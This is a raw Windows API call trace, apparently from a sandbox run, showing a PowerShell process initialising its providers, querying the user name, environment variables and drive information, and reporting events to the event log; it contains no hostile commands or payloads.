	[0065.567] RegOpenKeyExW (in: hKey=0x360, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x370) returned 0x0
	[0065.567] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x0) returned 0x2
	[0065.567] RegOpenKeyExW (in: hKey=0x360, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x374) returned 0x0
	[0065.567] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x0) returned 0x2
	[0065.567] RegOpenKeyExW (in: hKey=0x360, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x378) returned 0x0
	[0065.567] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x0) returned 0x2
	[0065.567] RegOpenKeyExW (in: hKey=0x360, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x0) returned 0x5
	[0065.580] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1b890008
	[0065.582] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c46f88*="WSMan", lpRawData=0x3c46cf8) returned 1
	[0065.585] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.585] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.585] CoTaskMemFree (pv=0x2a7990) 
	[0065.586] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.587] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.587] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.587] CoTaskMemAlloc (cb=0x804) returned 0x28ce170
	[0065.587] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x28ce170, nSize=0x14d308 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x14d308) returned 0x1
	[0065.587] CoTaskMemFree (pv=0x28ce170) 
	[0065.588] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.588] GetUserNameW (in: lpBuffer=0x31a000, pcbBuffer=0x14d348 | out: lpBuffer="aETAdzjz", pcbBuffer=0x14d348) returned 1
	[0065.588] CoTaskMemFree (pv=0x31a000) 
	[0065.588] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c4c470*="Alias", lpRawData=0x3c4c200) returned 1
	[0065.589] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.589] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.589] CoTaskMemFree (pv=0x2a7990) 
	[0065.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.591] CoTaskMemAlloc (cb=0x804) returned 0x28ce170
	[0065.591] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x28ce170, nSize=0x14d308 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x14d308) returned 0x1
	[0065.591] CoTaskMemFree (pv=0x28ce170) 
	[0065.591] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.591] GetUserNameW (in: lpBuffer=0x31a000, pcbBuffer=0x14d348 | out: lpBuffer="aETAdzjz", pcbBuffer=0x14d348) returned 1
	[0065.591] CoTaskMemFree (pv=0x31a000) 
	[0065.592] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c51a18*="Environment", lpRawData=0x3c517a8) returned 1
	[0065.593] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.593] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.593] CoTaskMemFree (pv=0x2a7990) 
	[0065.594] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.594] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="C:") returned 0x2
	[0065.594] CoTaskMemFree (pv=0x2a7990) 
	[0065.594] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.594] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf
	[0065.594] CoTaskMemFree (pv=0x2a7990) 
	[0065.594] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x14ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11
	[0065.594] SetErrorMode (uMode=0x1) returned 0x1
	[0065.594] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0x14d0c0 | out: lpFileInformation=0x14d0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0065.595] SetErrorMode (uMode=0x1) returned 0x1
	[0065.596] GetLogicalDrives () returned 0x4
	[0065.598] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x14cc20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0065.599] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0065.599] SetErrorMode (uMode=0x1) returned 0x1
	[0065.600] CoTaskMemAlloc (cb=0x68) returned 0x28515d0
	[0065.600] CoTaskMemAlloc (cb=0x68) returned 0x2851640
	[0065.600] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x28515d0, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x14d090, lpMaximumComponentLength=0x14d08c, lpFileSystemFlags=0x14d088, lpFileSystemNameBuffer=0x2851640, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x14d090*=0x705ba84c, lpMaximumComponentLength=0x14d08c*=0xff, lpFileSystemFlags=0x14d088*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1
	[0065.600] CoTaskMemFree (pv=0x28515d0) 
	[0065.600] CoTaskMemFree (pv=0x2851640) 
	[0065.600] SetErrorMode (uMode=0x1) returned 0x1
	[0065.600] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0065.601] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14cdd0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0065.601] SetErrorMode (uMode=0x1) returned 0x1
	[0065.601] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x14d030 | out: lpFileInformation=0x14d030*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0065.601] SetErrorMode (uMode=0x1) returned 0x1
	[0065.601] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14cdd0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0065.601] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x14cc80, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0065.601] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0065.602] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x14cbb0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0065.602] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0065.603] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14cc00, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0065.603] SetErrorMode (uMode=0x1) returned 0x1
	[0065.603] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x14ce60 | out: lpFileInformation=0x14ce60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0065.603] SetErrorMode (uMode=0x1) returned 0x1
	[0065.603] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14cc00, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0065.603] SetErrorMode (uMode=0x1) returned 0x1
	[0065.603] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x14ce60 | out: lpFileInformation=0x14ce60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0065.603] SetErrorMode (uMode=0x1) returned 0x1
	[0065.603] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14cca0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0065.603] SetErrorMode (uMode=0x1) returned 0x1
	[0065.603] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x14cf00 | out: lpFileInformation=0x14cf00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0065.603] SetErrorMode (uMode=0x1) returned 0x1
	[0065.604] CoTaskMemAlloc (cb=0x804) returned 0x28ce170
	[0065.604] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x28ce170, nSize=0x14d308 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x14d308) returned 0x1
	[0065.604] CoTaskMemFree (pv=0x28ce170) 
	[0065.604] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.604] GetUserNameW (in: lpBuffer=0x31a000, pcbBuffer=0x14d348 | out: lpBuffer="aETAdzjz", pcbBuffer=0x14d348) returned 1
	[0065.604] CoTaskMemFree (pv=0x31a000) 
	[0065.605] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c58a70*="FileSystem", lpRawData=0x3c58800) returned 1
	[0065.605] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.605] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.606] CoTaskMemFree (pv=0x2a7990) 
	[0065.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.607] CoTaskMemAlloc (cb=0x804) returned 0x28ce170
	[0065.607] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x28ce170, nSize=0x14d308 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x14d308) returned 0x1
	[0065.608] CoTaskMemFree (pv=0x28ce170) 
	[0065.608] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.608] GetUserNameW (in: lpBuffer=0x31a000, pcbBuffer=0x14d348 | out: lpBuffer="aETAdzjz", pcbBuffer=0x14d348) returned 1
	[0065.608] CoTaskMemFree (pv=0x31a000) 
	[0065.608] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c5e260*="Function", lpRawData=0x3c5dff0) returned 1
	[0065.611] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.611] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.611] CoTaskMemFree (pv=0x2a7990) 
	[0065.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.701] CoTaskMemAlloc (cb=0x804) returned 0x28ce170
	[0065.701] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x28ce170, nSize=0x14d308 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x14d308) returned 0x1
	[0065.701] CoTaskMemFree (pv=0x28ce170) 
	[0065.701] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.701] GetUserNameW (in: lpBuffer=0x31a000, pcbBuffer=0x14d348 | out: lpBuffer="aETAdzjz", pcbBuffer=0x14d348) returned 1
	[0065.701] CoTaskMemFree (pv=0x31a000) 
	[0065.702] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x323cc58*="Registry", lpRawData=0x323c9e8) returned 1
	[0065.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.704] CoTaskMemAlloc (cb=0x804) returned 0x28ce170
	[0065.704] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x28ce170, nSize=0x14d308 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x14d308) returned 0x1
	[0065.704] CoTaskMemFree (pv=0x28ce170) 
	[0065.704] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.704] GetUserNameW (in: lpBuffer=0x31a000, pcbBuffer=0x14d348 | out: lpBuffer="aETAdzjz", pcbBuffer=0x14d348) returned 1
	[0065.704] CoTaskMemFree (pv=0x31a000) 
	[0065.705] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3242020*="Variable", lpRawData=0x3241db0) returned 1
	[0065.706] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.706] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.706] CoTaskMemFree (pv=0x2a7990) 
	[0065.710] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.710] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.710] CoTaskMemFree (pv=0x2a7990) 
	[0065.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14cbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
	[0065.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
	[0065.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
	[0065.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14cb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
	[0065.773] CoTaskMemAlloc (cb=0x804) returned 0x28ce170
	[0065.773] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x28ce170, nSize=0x14d308 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x14d308) returned 0x1
	[0065.773] CoTaskMemFree (pv=0x28ce170) 
	[0065.773] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.773] GetUserNameW (in: lpBuffer=0x31a000, pcbBuffer=0x14d348 | out: lpBuffer="aETAdzjz", pcbBuffer=0x14d348) returned 1
	[0065.773] CoTaskMemFree (pv=0x31a000) 
	[0065.774] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3256010*="Certificate", lpRawData=0x3255da0) returned 1
	[0065.779] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.779] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.779] CoTaskMemFree (pv=0x2a7990) 
	[0065.781] GetLogicalDrives () returned 0x4
	[0065.781] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x14cf90, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0065.782] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0065.782] CoTaskMemAlloc (cb=0x20e) returned 0x303f10
	[0065.782] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x303f10 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0065.783] CoTaskMemFree (pv=0x303f10) 
	[0065.784] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.784] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.784] CoTaskMemFree (pv=0x2a7990) 
	[0065.785] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.785] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.785] CoTaskMemFree (pv=0x2a7990) 
	[0065.797] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.797] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.797] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.861] CoTaskMemAlloc (cb=0x804) returned 0x28ce170
	[0065.861] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x28ce170, nSize=0x14d578 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x14d578) returned 0x1
	[0065.862] CoTaskMemFree (pv=0x28ce170) 
	[0065.862] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.862] GetUserNameW (in: lpBuffer=0x31a000, pcbBuffer=0x14d5b8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x14d5b8) returned 1
